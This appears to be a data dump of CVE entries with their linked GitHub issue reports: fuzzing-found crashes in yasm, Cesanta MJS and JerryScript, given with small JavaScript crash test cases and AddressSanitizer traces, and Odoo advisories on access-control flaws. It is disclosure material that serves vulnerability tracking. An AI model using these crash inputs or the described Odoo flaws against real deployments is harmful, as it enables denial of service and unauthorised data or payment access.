#184 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#185 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#186 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#187 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#188 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#189 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#190 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#191 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#192 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#193 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#194 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#195 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#196 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#197 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#198 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#199 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#200 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#201 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#202 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#203 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#204 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#205 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#206 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#207 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#208 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#209 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#210 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#211 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#212 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#213 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#214 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#215 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#216 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#217 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#218 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#219 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#220 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#221 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#222 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#223 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#224 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#225 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#226 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#227 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#228 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#229 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#230 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#231 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#232 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#233 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#234 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#235 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#236 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#237 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#238 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#239 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#240 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#241 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
#242 0x57ecbc in parse_expr3 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1249:9
#243 0x57eacc in parse_expr2 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1242:5
#244 0x57e8dc in parse_expr1 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1236:5
#245 0x57d29c in parse_expr0 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1230:5
#246 0x57d62e in parse_expr6 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1401:17
#247 0x57f13f in parse_expr5 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1305:9
#248 0x57ef2f in parse_expr4 /home/z1r0/fuzzing/yasm/yasm/modules/parsers/nasm/nasm-parse.c:1277:9
SUMMARY: AddressSanitizer: stack-overflow /home/z1r0/fuzzing/yasm/yasm/./modules/parsers/nasm/nasm-token.re:117 in nasm_parser_lex
==3060203==ABORTING
```
## Reference
https://github.com/z1r00/fuzz_vuln/blob/main/yasm/stack-overflow/parse_expr5/readme.md | stack-overflow yasm/modules/parsers/nasm/nasm-parse.c:1303 in parse_expr5 | https://api.github.com/repos/yasm/yasm/issues/218/comments | 1 | 2023-03-31T08:27:44Z | 2024-03-22T11:55:05Z | https://github.com/yasm/yasm/issues/218 | 1,648,929,873 | 218 | 5,012 |
CVE-2023-29570 | 2023-04-24T14:15:07.800 | Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via mjs_ffi_cb_free at src/mjs_ffi.c. This vulnerability can lead to a Denial of Service (DoS). | {
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"cesanta",
"mjs"
] | # SEGV src/mjs_ffi.c:982:24 in mjs_ffi_cb_free
## project address
https://github.com/cesanta/mjs
## info
OS：Ubuntu20.04 TLS
Build: `$(DOCKER_CLANG) -fsanitize=address $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)`
## Poc
https://github.com/z1r00/fuzz_vuln/blob/main/mjs/SEGV/mjs_fii2/poc5.zip
## ASAN Info
```c
./mjs poc5.js
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2363695==ERROR: AddressSanitizer: SEGV on unknown address 0xffffffffb91bf8b8 (pc 0x0000004dfc5e bp 0x7fffffffe070 sp 0x7fffffffdbd8 T0)
==2363695==The signal is caused by a READ memory access.
#0 0x4dfc5e in mjs_ffi_cb_free /home/ubuntu/asan_fuzz_mjs/mjs/src/mjs_ffi.c:982:24
#1 0x60400000000f (<unknown module>)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/ubuntu/asan_fuzz_mjs/mjs/src/mjs_ffi.c:982:24 in mjs_ffi_cb_free
==2363695==ABORTING
```
| SEGV src/mjs_ffi.c:982:24 in mjs_ffi_cb_free | https://api.github.com/repos/cesanta/mjs/issues/240/comments | 0 | 2023-03-06T01:27:09Z | 2023-03-06T01:27:09Z | https://github.com/cesanta/mjs/issues/240 | 1,610,488,659 | 240 | 5,013 |
CVE-2023-30406 | 2023-04-24T22:15:09.627 | Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component ecma_find_named_property at /base/ecma-helpers.c. | {
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"jerryscript-project",
"jerryscript"
] | ###### JerryScript revision
1a2c04763aba49f52b1537acd3730098c873511c
###### Build platform
Ubuntu 20.04.2 LTS (Linux 5.15.0-67-generic x86_64)
###### Build steps
Describe how to build JerryScript. Give all the necessary details of the build
(e.g., environment variables, command(s), profile, command line options, etc.).
E.g.:
```sh
tools/build.py --compile-flag=-fsanitize=address --compile-flag=-g
```
###### Build log
###### Test case
```JavaScript
function i(a,b=eval()){eval()}
i(i("a"),eval("var a"))
```
###### Execution platform
same as the build platform.
###### Execution steps
```sh
build/bin/jerry testcase.js
```
###### Output
Segmentation fault (core dumped)
###### Backtrace
=================================================================
==167385==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000004 (pc 0x562a05bd8581 bp 0x7fffdc027800 sp 0x7fffdc027790 T0)
==167385==The signal is caused by a READ memory access.
==167385==Hint: address points to the zero page.
#0 0x562a05bd8580 (/data/jerryscript/asan/bin/jerry+0xd0580)
#1 0x562a05b8051c (/data/jerryscript/asan/bin/jerry+0x7851c)
#2 0x562a05b9069f (/data/jerryscript/asan/bin/jerry+0x8869f)
#3 0x562a05b919b9 (/data/jerryscript/asan/bin/jerry+0x899b9)
#4 0x562a05b6b6d8 (/data/jerryscript/asan/bin/jerry+0x636d8)
#5 0x562a05bc14cd (/data/jerryscript/asan/bin/jerry+0xb94cd)
#6 0x562a05bc696a (/data/jerryscript/asan/bin/jerry+0xbe96a)
#7 0x562a05b9085b (/data/jerryscript/asan/bin/jerry+0x8885b)
#8 0x562a05b919b9 (/data/jerryscript/asan/bin/jerry+0x899b9)
#9 0x562a05bf8576 (/data/jerryscript/asan/bin/jerry+0xf0576)
#10 0x562a05b25dac (/data/jerryscript/asan/bin/jerry+0x1ddac)
#11 0x7f32bb095082 in __libc_start_main ../csu/libc-start.c:308
#12 0x562a05b26cfd (/data/jerryscript/asan/bin/jerry+0x1ecfd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/data/jerryscript/asan/bin/jerry+0xd0580)
==167385==ABORTING
###### Expected behavior
| Segmentation fault in jerry | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5058/comments | 6 | 2023-03-28T06:12:27Z | 2025-01-09T06:48:54Z | https://github.com/jerryscript-project/jerryscript/issues/5058 | 1,643,268,712 | 5,058 | 5,014 |
CVE-2023-30408 | 2023-04-24T22:15:09.677 | Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component build/bin/jerry. | {
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] | First of all, when reporting a bug, give the issue a descriptive title.
In the body of the issue, optionally give a free-form text description of the
bug. Give the context necessary for others to understand the problem.
Then, provide information necessary to reproduce the bug.
Omit sections that are irrelevant for the bug report, but note that information
like git revision, build platform, build command, and test case are required in
almost all cases.
###### JerryScript revision
1a2c04763aba49f52b1537acd3730098c873511c
###### Build platform
Ubuntu 20.04.2 LTS (Linux 5.15.0-67-generic x86_64)
###### Build steps
./tools/build.py
###### Test case
```
var p = new Promise(function(resolve,reject){})
var f = async(p) =>{}
await p;
f(p).then(function(){})
```
###### Execution platform
same as the build platform.
###### Execution steps
```sh
build/bin/jerry testcase.js
```
###### Output
Sometimes throws syntax errors: Unhandled exception: SyntaxError
Most of the time jerry crashes: Segmentation fault (core dumped)
###### Backtrace
###### Expected behavior
not to crash
| Segmentation fault in jerry | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5057/comments | 2 | 2023-03-27T09:25:43Z | 2025-01-09T06:20:29Z | https://github.com/jerryscript-project/jerryscript/issues/5057 | 1,641,737,938 | 5,057 | 5,015 |
CVE-2023-30410 | 2023-04-24T22:15:09.743 | Jerryscript commit 1a2c047 was discovered to contain a stack overflow via the component ecma_op_function_construct at /operations/ecma-function-object.c. | {
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1a2c04763aba49f52b1537acd3730098c873511c
###### Build platform
Name the build platform. E.g., copy the output of
Ubuntu Lunar Lobster (development branch) (Linux 5.15.0-67-generic x86_64)
###### Build steps
```sh
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```
###### Test case
```javascript
function f0(a1, a2, ...a3) {
class C4 extends a1 {
}
var v5 = new C4(C4);
return C4;
}
f0(f0);
```
###### Execution steps
```
./build/bin/jerry test.js
```
###### Output
segmentfault
###### Backtrace
==51694==ERROR: AddressSanitizer: stack-overflow on address 0x7ffe6695efc0 (pc 0x5556250c8272 bp 0x7ffe6695f070 sp 0x7ffe6695efb0 T0)
#0 0x5556250c8272 in ecma_op_function_construct /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1704
#1 0x5556250c8958 in ecma_op_function_construct_constructor /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1631
#2 0x5556250c8958 in ecma_op_function_construct /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1727
#3 0x5556250c8958 in ecma_op_function_construct_constructor /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1631
...
...
#491 0x5556250c8958 in ecma_op_function_construct_constructor /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1631
#492 0x5556250c8958 in ecma_op_function_construct /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1727
#493 0x5556250c8958 in ecma_op_function_construct_constructor /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1631
#494 0x5556250c8958 in ecma_op_function_construct /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1727
#495 0x5556250c8958 in ecma_op_function_construct_constructor /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1631
#496 0x5556250c8958 in ecma_op_function_construct /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1727
SUMMARY: AddressSanitizer: stack-overflow /home/zxw/jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1704 in ecma_op_function_construct
==51694==ABORTING
| jerry crashed while running the following code. | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5052/comments | 2 | 2023-03-15T06:57:23Z | 2024-11-21T10:15:30Z | https://github.com/jerryscript-project/jerryscript/issues/5052 | 1,624,874,619 | 5,052 | 5,016 |
CVE-2023-30414 | 2023-04-24T22:15:09.807 | Jerryscript commit 1a2c047 was discovered to contain a stack overflow via the component vm_loop at /jerry-core/vm/vm.c. | {
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the following js cause a segmentation fault in jerryscript.
```
function test(){
function f(){
var f = test();
h = f();
}
return f;
}
let a = test();
c = a();
``` | segmentation fault in jerryscript | https://api.github.com/repos/jerryscript-project/jerryscript/issues/5051/comments | 3 | 2023-03-14T03:36:48Z | 2024-11-21T10:13:16Z | https://github.com/jerryscript-project/jerryscript/issues/5051 | 1,622,665,090 | 5,051 | 5,017 |
CVE-2023-30402 | 2023-04-25T16:15:09.590 | YASM v1.3.0 was discovered to contain a heap overflow via the function handle_dot_label at /nasm/nasm-token.re. Note: This has been disputed by third parties who argue this is a bug and not a security issue because yasm is a standalone program not designed to run untrusted code. | {
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"yasm",
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] | yasm heap buffer overflow
I found a heap-buffer-overflow in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -s -o abc --force-strict $PoC
Details
ASAN report
$./yasm -s -o abc --force-strict $PoC
```
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==972503==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006fd3 at pc 0x000000717cbd bp 0x7ffe3f1cd1c0 sp 0x7ffe3f1cd1b8
READ of size 1 at 0x602000006fd3 thread T0
#0 0x717cbc in handle_dot_label /home/root/FuzzDateset/yasm/yasm-1.3.0/./modules/parsers/nasm/nasm-token.re:82:13
#1 0x704533 in nasm_parser_lex /home/root/FuzzDateset/yasm/yasm-1.3.0/./modules/parsers/nasm/nasm-token.re:384:17
#2 0x594fbb in demand_eol_ /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parse.c:149:9
#3 0x591775 in nasm_parser_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parse.c:232:13
#4 0x590f3f in nasm_do_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parser.c:66:5
#5 0x5907fb in nasm_parser_do_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parser.c:83:5
#6 0x4d035f in do_assemble /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:519:5
#7 0x4ccce0 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:749:12
#8 0x7f675d943082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_s_o_f/yasm+0x41d46d)
0x602000006fd3 is located 0 bytes to the right of 3-byte region [0x602000006fd0,0x602000006fd3)
allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_s_o_f/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x53d86e in yasm__xstrndup /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xstrdup.c:64:16
#3 0x717bfb in handle_dot_label /home/root/FuzzDateset/yasm/yasm-1.3.0/./modules/parsers/nasm/nasm-token.re:79:26
#4 0x704533 in nasm_parser_lex /home/root/FuzzDateset/yasm/yasm-1.3.0/./modules/parsers/nasm/nasm-token.re:384:17
#5 0x594fbb in demand_eol_ /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parse.c:149:9
#6 0x591775 in nasm_parser_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parse.c:232:13
#7 0x590f3f in nasm_do_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parser.c:66:5
#8 0x5907fb in nasm_parser_do_parse /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/parsers/nasm/nasm-parser.c:83:5
#9 0x4d035f in do_assemble /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:519:5
#10 0x4ccce0 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:749:12
#11 0x7f675d943082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/root/FuzzDateset/yasm/yasm-1.3.0/./modules/parsers/nasm/nasm-token.re:82:13 in handle_dot_label
Shadow bytes around the buggy address:
0x0c047fff8da0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8db0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
0x0c047fff8dc0: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fd
0x0c047fff8dd0: fa fa fd fa fa fa fd fa fa fa 05 fa fa fa 05 fa
0x0c047fff8de0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x0c047fff8df0: fa fa fd fa fa fa fd fa fa fa[03]fa fa fa fa fa
0x0c047fff8e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==972503==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/137-HOF) | yasm heap buffer overflow | https://api.github.com/repos/yasm/yasm/issues/206/comments | 1 | 2023-03-01T01:50:12Z | 2024-03-22T11:53:56Z | https://github.com/yasm/yasm/issues/206 | 1,604,082,214 | 206 | 5,018 |
CVE-2021-23176 | 2023-04-25T19:15:09.220 | Improper access control in reporting engine of l10n_fr_fec module in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows remote authenticated users to extract accounting information via crafted RPC packets. | {
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"Issue Tracking",
"Mitigation",
"Patch",
"Vendor Advisory"
] | github.com | [
"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-23176](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23176)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23176](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23176)
**Component**: l10n_fr_fec
**Credits**: Florent Mirieu de la barre
Improper access control in reporting engine of l10n_fr_fec module in Odoo
Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows
remote authenticated users to extract accounting information via crafted
RPC packets.
## I. Background
The l10n_fr_fec module is a module for the accounting localization of France
allowing to generate the Fichier d'Échange Informatisé (FEC).
## II. Problem Description
The generation of the report was not properly protected and could be accessed
by users without accounting access rights.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Employee / Portal user account required
**CVSS3 Score**: Medium :: 6.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Malicious users (including portal user accounts) on an Odoo database
might craft RPC requests specifically targeted at extracting accounting
data from the database.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
Until the deployment of the patch, the `l10n_fr_fec` module can be
uninstalled on unpatched database. Updating to the latest revision or
applying the corresponding patch is strongly recommended.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/0ef5489598e9ebfd430adb09c6c4038b926ad277
- 14.0: https://github.com/odoo/odoo/commit/f166400c7ddd1bc571fcad52d18d2371f2c3fd87
- 15.0: https://github.com/odoo/odoo/commit/66f0a384eeda7f223736e6e80b32b5c3e824653b
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-23176 - Improper access control in reporting engine o... | https://api.github.com/repos/odoo/odoo/issues/107682/comments | 0 | 2022-12-10T23:00:23Z | 2022-12-10T23:00:24Z | https://github.com/odoo/odoo/issues/107682 | 1,489,086,881 | 107,682 | 5,019 |
CVE-2021-23178 | 2023-04-25T19:15:09.283 | Improper access control in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows attackers to validate online payments with a tokenized payment method that belongs to another user, causing the victim's payment method to be charged instead. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-23178](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23178)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23178](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23178)
**Component**: Online Payment
**Credits**: Parth Gajjar
Improper access control in Odoo Community 15.0 and earlier and Odoo
Enterprise 15.0 and earlier allows attackers to validate online payments
with a tokenized payment method that belongs to another user, causing
the victim's payment method to be charged instead.
## I. Background
To facilate recurring online payments on the ecommerce or subscription, one can
save a credit card as payment method and reuse it for future purchase.
## II. Problem Description
An improper validation in the online payment mechanism allowed an attacker to
use the saved payment method of another user.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: None
**CVSS3 Score**: high :: 7.5
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
A malicious user might be able to craft a payment request to validate an online
purchase, charging the credit card of another user.
Odoo S.A. is not aware of any use of this vulnerability in the wild.
## IV. Workaround
No workaround is available, updating to the latest revision or applying the
corresponding patch is strongly recommended.
Odoo Cloud servers have been patched as soon as the correction was available.
## V. Solution
Update to the latest revision, either via GitHub or by downloading it:
https://www.odoo.com/page/download
If updating is not an option, you may instead apply the patch corresponding
to your Odoo installation (links provided below).
For the actual update procedure, please refer to our update instructions, valid
for all versions: https://www.odoo.com/documentation/15.0/setup/update.html
## VI. Correction details
The following list contains the patches that fix the vulnerability for
each version:
- 13.0: https://github.com/odoo/odoo/commit/08fe32272ed3208ab1c90d16b5531059b3a50cdd
- 14.0: https://github.com/odoo/odoo/commit/5ac55247b576312ea4f1f274c94d955dd23335d1
- 15.0: https://github.com/odoo/odoo/commit/9a063023f9f721f45af352d6275097718afee6ac
- 15.0-ent, 14.0-ent, 13.0-ent (Enterprise): see 15.0, 14.0 and 13.0.
| [SEC] CVE-2021-23178 - Improper access control in Odoo Community 15.... | https://api.github.com/repos/odoo/odoo/issues/107690/comments | 0 | 2022-12-10T23:00:37Z | 2022-12-10T23:00:38Z | https://github.com/odoo/odoo/issues/107690 | 1,489,087,135 | 107,690 | 5,020 |
CVE-2021-23186 | 2023-04-25T19:15:09.340 | A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise 15.0 and earlier allows authenticated administrators to access and modify database contents of other tenants, in a multi-tenant system. | {
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"odoo",
"odoo"
] | # Security Advisory - [CVE-2021-23186](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23186)
**Affects**: Odoo 15.0 and earlier (Community and Enterprise Editions)
**CVE ID**: [CVE-2021-23186](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-23186)
**Component**: Core
**Credits**: Nils Hamerlinck (Trobz)
A sandboxing issue in Odoo Community 15.0 and earlier and Odoo Enterprise
15.0 and earlier allows authenticated administrators to access and modify
database contents of other tenants, in a multi-tenant system.
## I. Background
An Odoo system may host multiple databases on the same server, in a
multi-tenant fashion, while maintaining an isolation between each other.
## II. Problem Description
The framework contained a programming error that allowed to escape the
isolation of the database and access other databases hosted on the same
multi-tenant system.
## III. Impact
**Attack Vector**: Network exploitable
**Authentication**: Privileged user account required
**CVSS3 Score**: high :: 8.7
**CVSS3 Vector**: [CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)
A malicious administrator might be able to read or modify data of another
